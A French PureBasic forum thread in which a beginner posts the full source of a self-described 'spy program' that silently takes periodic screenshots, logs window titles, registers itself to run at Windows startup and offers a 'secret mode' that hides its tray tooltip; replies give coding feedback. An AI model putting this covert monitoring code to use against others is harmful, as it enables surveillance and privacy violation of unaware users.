programme d'espionnage

Vous débutez et vous avez besoin d'aide ? N'hésitez pas à poser vos questions
Parole De JOJO
Messages : 446
Inscription : mar. 25/mai/2010 17:24
Localisation : Bnei Brak, Israel

programme d'espionnage

Message par Parole De JOJO »

un de mes premiers programmes
j'aimerais beaucoup savoir votre avis dessus
le programme prends des screenshot et ecrit un fichier log avec le fenetres actives

Code : Tout sélectionner

;- Les Preparations
Enumeration
#MENU_ChangePath:#MENU_OpenPath
#MENU_1sec:#MENU_5sec:#MENU_10sec:#MENU_30sec
#MENU_60sec:#MENU_90sec:#MENU_120sec:#MENU_300sec:#MENU_600sec
#MENU_Good:#MENU_Medium:#MENU_Low
#MENU_Lan:#MENU_About:#MENU_Quit
#MENU_AutoRun:#MENU_CancelAutoRun:#MENU_Secret
EndEnumeration
Global Dim l.s(40,2)
Global Dim sec.l(9)
Global path.s,lan,quality.l,seconds,lan,secret
Global pathpref.s="C:\Program files\Rigulon\"
Global pathlog.s="C:\Program files\Rigulon\Logs\"
Global namofil.s
Procedure savefile(handle.l,name.s)
  CloseFile(0)
  OpenFile(0,name)
  FileSeek(0,Lof(0))
EndProcedure
Procedure.s WMGetText(Handle.l)
If handle
  Buffer.s = Space(255)
  SendMessage_(Handle, #WM_GETTEXT, 256, @Buffer)
  result.s = PeekS(@Buffer)
EndIf
  ProcedureReturn result
EndProcedure
Procedure StartWithWindows(state.b,nam.s)
  Protected key.l = #HKEY_CURRENT_USER ;or #HKEY_LOCAL_MACHINE
  Protected Path.s = "Software\Microsoft\Windows\CurrentVersion\Run"
  Protected Value.s = nam 
  Protected String.s = ProgramFilename()
  Protected CurKey.l
  If state =1
    RegCreateKey_ (key,@Path,@CurKey)
    RegSetValueEx_ (CurKey,@Value,0, #REG_SZ ,@String, Len (String))
  Else
    RegOpenKey_ (key,@Path,@CurKey)
    RegDeleteValue_ (CurKey,@Value)
  EndIf
  RegCloseKey_ (CurKey)
EndProcedure
Procedure.s t(x):ProcedureReturn l(x,lan):EndProcedure
Procedure lan()
  SetMenuTitleText(0,0,t(1)+" = "+path)
  SetMenuTitleText(0,1,t(27)+" ="+Str(seconds)+t(28))
  SetMenuTitleText(0,2,t(15)+" = "+t(quality+14))
  SetMenuTitleText(0,3,t(29))
  SysTrayIconToolTip(1, t(22))
  For k=0 To 10
    SetMenuItemText(0,k+#MENU_ChangePath,t(k+4))
  Next
  For k=0 To 5
    SetMenuItemText(0,k+#MENU_Good,t(k+16))
  Next
  SetMenuItemText(0,#MENU_AutoRun,t(30))
  SetMenuItemText(0,#MENU_CancelAutoRun,t(31))
  SetMenuItemText(0,#MENU_Secret,t(32))
EndProcedure
Procedure ScreenShot(a)
  Repeat
    date.s=FormatDate("%yyyy-%mm-%dd",Date())
    hour.s=FormatDate("%hh-%ii-%ss",Date())
    CreateDirectory(path.s+date)
    FileName.s=Path+date+"\"+date+"  "+hour+".jpg"
    If CreateImage(0,GetSystemMetrics_(#SM_CXSCREEN),GetSystemMetrics_(#SM_CYSCREEN))
      DesktopWindow=GetDesktopWindow_()
      DC=GetDC_(DesktopWindow)
      StartDrawing=StartDrawing(ImageOutput(0))
        BitBlt_(StartDrawing,0,0,ImageWidth(0),ImageHeight(0),DC,0,0,#SRCCOPY)
      StopDrawing()
      ReleaseDC_(DesktopWindow,DC)
      If quality<>0
      ResizeImage(Im,ImageWidth(0)/quality*2,ImageHeight(0)/quality*2)
      EndIf
      UseJPEGImageEncoder()
      SaveImage(0,FileName,#PB_ImagePlugin_JPEG,7)
      FreeImage(0)
    EndIf
    Delay(1000*seconds)
  ForEver
EndProcedure
Procedure prefs(key.s,val.l)
OpenPreferences(pathpref.s+"prefs.yhe")
PreferenceGroup("info")
WritePreferenceLong(key,val)
ClosePreferences()
EndProcedure
Procedure texte()
sec(1)=1:sec(2)=5:sec(3)=10:sec(4)=30:sec(5)=60:sec(6)=90:sec(7)=120:sec(8)=300:sec(9)=600
l(1,1)="Path":l(4,1)="Change Path":l(5,1)="Open Directory":l(27,1)="Time Between Shots"
l(28,1)=" Seconds":l(6,1)="1 Second":l(7,1)="5 Seconds":l(8,1)="10 Seconds":l(9,1)="30 Seconds"
l(10,1)="1 Minut":l(11,1)="1.5 Minuts":l(12,1)="2 Minuts":l(13,1)="5 Minuts":l(14,1)="10 Minuts"
l(15,1)= "Quality":l(16,1)="Good":l(17,1)="Medium":l(18,1)="Low":l(19,1)="Francais":l(20,1)="About"
l(21,1)="Quit":l(22,1)="** Rigulon **":l(25,1)="Rigulon":l(26,1)="Programed by JOJO"
l(29,1)="Run With Windows":l(30,1)="Apply":l(31,1)="Cancel":l(32,1)="Secret Mode"
l(34,1)="The program will now be in secret mode. To come back to the normal mode, double-clik on the program icon and type 224 in the window"
l(35,1)="Please enter a password"

EndProcedure
Procedure menu()
CreatePopupMenu(0)
  MenuTitle("")
    MenuItem(#MENU_ChangePath, "")
    MenuItem(#MENU_OpenPath, "")
  CloseSubMenu()
  MenuTitle("")
    MenuItem(#MENU_1sec, "")
    MenuItem(#MENU_5sec, "")
    MenuItem(#MENU_10sec, "")
    MenuItem(#MENU_30sec, "")
    MenuBar()
    MenuItem(#MENU_60sec, "")
    MenuItem(#MENU_90sec, "")
    MenuItem(#MENU_120sec, "")
    MenuItem(#MENU_300sec, "")
    MenuItem(#MENU_600sec, "")
  CloseSubMenu()
  MenuTitle("")
    MenuItem(#MENU_Good, "")
    MenuItem(#MENU_Medium, "")
    MenuItem(#MENU_Low, "")
  CloseSubMenu()
  MenuTitle("")
  MenuItem(#MENU_AutoRun, "")
  MenuItem(#MENU_CancelAutoRun, "")
  CloseSubMenu()
  MenuItem(#MENU_Secret, "")
  MenuItem(#MENU_Lan, "")
  MenuItem(#MENU_About, "")
  MenuItem(#MENU_Quit, "")
EndProcedure
;- ReadPreferences
CreateDirectory(pathpref)
OpenPreferences(pathpref+"prefs.yhe")
  PreferenceGroup("info")
   path=ReadPreferenceString("path","")
   quality=ReadPreferenceFloat("quality",1.5)
   seconds=ReadPreferenceLong("seconds",60)
   lan=ReadPreferenceLong("lan",1)
   secret=ReadPreferenceLong("secret",0)
ClosePreferences()
If path=""
  path="C:\Program files\Rigulon\ScreenShot\"
  CreateDirectory(path)
EndIf

;- Create Log
CreateDirectory(pathlog)
date.s=FormatDate("%yyyy-%mm-%dd",Date())
hour.s=FormatDate("%hh-%ii-%ss",Date())
namofil=pathlog+date+"  "+hour+".txt"
CreateFile(0,namofil)
WriteStringN(0,date+"  "+hour)
WriteStringN(0,"")
 chaine.s = Space(256)
   hWnd = FindWindow_( 0, 0 ) 
    While hWnd <> 0
    If GetWindowLong_(hWnd, #GWL_STYLE) & #WS_VISIBLE = #WS_VISIBLE
      If GetWindowLong_(hWnd, #GWL_EXSTYLE) & #WS_EX_TOOLWINDOW <> #WS_EX_TOOLWINDOW
        GetWindowText_(hWnd,@chaine,256)       
        If chaine <> ""
          WriteStringN(0,chaine)
        EndIf
      EndIf
    EndIf
    hWnd = GetWindow_(hWnd, #GW_HWNDNEXT)
  Wend
WriteStringN(0,"")
WriteStringN(0,"")
savefile(0,namofil)

;- Demarrage
texte()
menu()
OpenWindow(0, 10, 10, 10, 10, "Rigulon", #PB_Window_Invisible)
AddSysTrayIcon(1, WindowID(0),CatchImage(1, ?Icone1))
SysTrayIconToolTip(1, t(22))
lan()
thread=CreateThread(@ScreenShot(), 154)

Repeat
  Event=WaitWindowEvent(1000)

;- Recuperation de la fenetre active
  Handle = GetForegroundWindow_()
  If Handle <> 0 And Handle <> Last_Handle 
      Last_Handle = Handle
      WindowText.s = WMGetText(Handle)
      If WindowText<>LastWindowText.s And windowtext<>""
          hour.s=FormatDate("%hh-%ii-%ss",Date())
        WriteStringN(0, hour+"    "+ WindowText)
        LastWindowText=WindowText
      EndIf    
  EndIf
  If Val(FormatDate("%ss",Date()))=00
   savefile(0,namofil)
  EndIf
  
;- gestion du mode  : normal: ouvrir le menu ; secret : demander le code et revenir au mode normal
  If secret=0
    If Event = #PB_Event_SysTray And EventType()=#PB_EventType_LeftClick
    DisplayPopupMenu(0,WindowID(0))
    EndIf
  ElseIf secret=1
    If Event = #PB_Event_SysTray And EventType()=#PB_EventType_RightDoubleClick
      code=Val(InputRequester(t(35),"",""))
      If code=224
        secret=0
        SysTrayIconToolTip(1, t(22))
        prefs("secret",secret)
      EndIf
    EndIf
  EndIf

;- gestion du menu
  If Event = #PB_Event_Menu
    Select EventMenu()
      Case #MENU_ChangePath
        p.s=PathRequester("",path)
        If p:path=p:EndIf
        SetMenuTitleText(0,0,t(1)+" = "+path)
        OpenPreferences(pathpref+"prefs.yhe")
        PreferenceGroup("info")
        WritePreferenceString("path",path)
        ClosePreferences()
      Case #MENU_OpenPath:If path:RunProgram(path):EndIf
      Case #MENU_1sec To #MENU_1sec+8
        seconds=sec(EventMenu()-#MENU_1sec+1)
        SetMenuTitleText(0,1,t(27)+" = "+Str(seconds)+t(28))
        prefs("seconds",seconds)
      Case #MENU_Good To #MENU_Low
        quality=(EventMenu()-#MENU_Good+2)
        SetMenuTitleText(0,2,t(15)+" = "+t(quality+14))
        prefs("quality",quality)
      Case #MENU_Lan
        lan=3-lan
        lan()
        prefs("lan",lan)
      Case #MENU_About:MessageRequester(t(25),t(26)+Chr(10)+Chr(10)+t(36)+Chr(10)+t(37))
      Case #MENU_Quit:quit=1
      Case #MENU_AutoRun:StartWithWindows(1,"Rigulon")
      Case #MENU_CancelAutoRun:StartWithWindows(2,"Rigulon")
      Case #MENU_Secret
        secret=1
        MessageRequester(t(32),t(34))
        SysTrayIconToolTip(1,"")
        prefs("secret",secret)
    EndSelect
  EndIf
Until Quit=1

;- Data
DataSection:Icone1:IncludeBinary "tools.ico":EndDataSection
Parole De JOJO
Messages : 446
Inscription : mar. 25/mai/2010 17:24
Localisation : Bnei Brak, Israel

Re: programme d'espionnage

Message par Parole De JOJO »

52 vues et pas une seul reponse?
Backup
Messages : 14526
Inscription : lun. 26/avr./2004 0:40

Re: programme d'espionnage

Message par Backup »

bon j'ai fini par tester ton prg :)

il marche bien , niveau fonctionnalité

juste 2 choses ,
tu aurai du donner l'image de ton icone ;)

et si tu choisi l'option "Français" du menu , celui ci part dans un delire indescriptible :)

sinon, ça a l'air de tourné, au niveau prise d'image
j'ai pas vu s'il y avait une autre option que la prise d'image !?? :)
Avatar de l’utilisateur
SPH
Messages : 4949
Inscription : mer. 09/nov./2005 9:53

Re: programme d'espionnage

Message par SPH »

Je viens de le tester aussi. Logs et screenshots :mrgreen:

!i!i!i!i!i!i!i!i!i!
!i!i!i!i!i!i!
!i!i!i!
//// Informations ////
Intel Core i7 4770 64 bits - GTX 650 Ti
Version de PB : 6.12LTS- 64 bits
Cls
Messages : 620
Inscription : mer. 22/juin/2005 8:51
Localisation : Nantes

Re: programme d'espionnage

Message par Cls »

Perso j'ai pas eu le temps de tester.
En parcourant le code, je me demandais si tu avais fait le programme inverse permettant de relire les images ? Histoire de pas se taper tout le répertoire à la main... ;)
Parole De JOJO
Messages : 446
Inscription : mar. 25/mai/2010 17:24
Localisation : Bnei Brak, Israel

Re: programme d'espionnage

Message par Parole De JOJO »

comment tu aurais voulu que je donne l'icone?
le prog cree aussi un log, et c'est bizarre car au debeugage, 35% des fois ca plante au niveau du log, et les autres fois ca marche. j'ai pas trouve le probleme
j'ai pense a faire une fenetre pour voir les images, pour l'instant il y a un boutton pour ouvrir directement le dossier.
je sais que le francais ne marche pas, je dois m'en occuper
en fait a la base il y avait un boutton pour mettre le programme en pause, et pour le relancer apres, mais si j'ai bien compris, c'est assez dangeureux de s'amuser avec les thred donc j'ai laisse tomber
Backup
Messages : 14526
Inscription : lun. 26/avr./2004 0:40

Re: programme d'espionnage

Message par Backup »

Parole De JOJO a écrit :comment tu aurais voulu que je donne l'icone?

heu ! ... un lien ? :roll:

ou meme une image Jpg

c'est pas les prg qui manquent pour faire un ico a partir d'un jpg ;)
Avatar de l’utilisateur
Ar-S
Messages : 9540
Inscription : dim. 09/oct./2005 16:51
Contact :

Re: programme d'espionnage

Message par Ar-S »

C'est vrai que le choix de la langue est à revoir.

Ce qui me dérange ce sont ces 2 lignes :

Code : Tout sélectionner

Global pathpref.s="C:\Program files\Rigulon\"
Global pathlog.s="C:\Program files\Rigulon\Logs\"
Il ne faut pas mettre ça car tu dois je pense utiliser un OS 32bits, donc en marquant celà :
C:\Program files\Rigulon\
Tes données vont se sauver dans C:\Program files\Rigulon\
Or sur un OS 64 bits, C:\Program files\ est l'emplacement des logiciels x64 !

il est donc préférable de chopper l'emplacement exacte du bon repertoire (x86) sur l'OS

Pour ce faire, remplace

Code : Tout sélectionner

Global pathpref.s="C:\Program files\Rigulon\"
Global pathlog.s="C:\Program files\Rigulon\Logs\"
par

Code : Tout sélectionner

Global pathpref.s = GetEnvironmentVariable("ProgramFiles")+"\Rigulon\"
Global pathlog.s= pathpref+"logs\"
Ainsi que tu sois avec un XP 32 bits ou un 7 x64, peu importe, le dossier Rigulon se créera dans le "bon" 'Program Files'
Dernière modification par Ar-S le mar. 22/févr./2011 19:43, modifié 1 fois.
~~~~Règles du forum ~~~~
⋅.˳˳.⋅ॱ˙˙ॱ⋅.˳Ar-S ˳.⋅ॱ˙˙ॱ⋅.˳˳.⋅
W11x64 PB 6.x
Section HORS SUJET : ICI
LDV MULTIMEDIA : Dépannage informatique & mes Logiciels PB
UPLOAD D'IMAGES : Uploader des images de vos logiciels
Parole De JOJO
Messages : 446
Inscription : mar. 25/mai/2010 17:24
Localisation : Bnei Brak, Israel

Re: programme d'espionnage

Message par Parole De JOJO »

merci beaucoup pour le conseil
je crois ue le fichier log est mal gere par mon programme, je l'ai donc efface
Répondre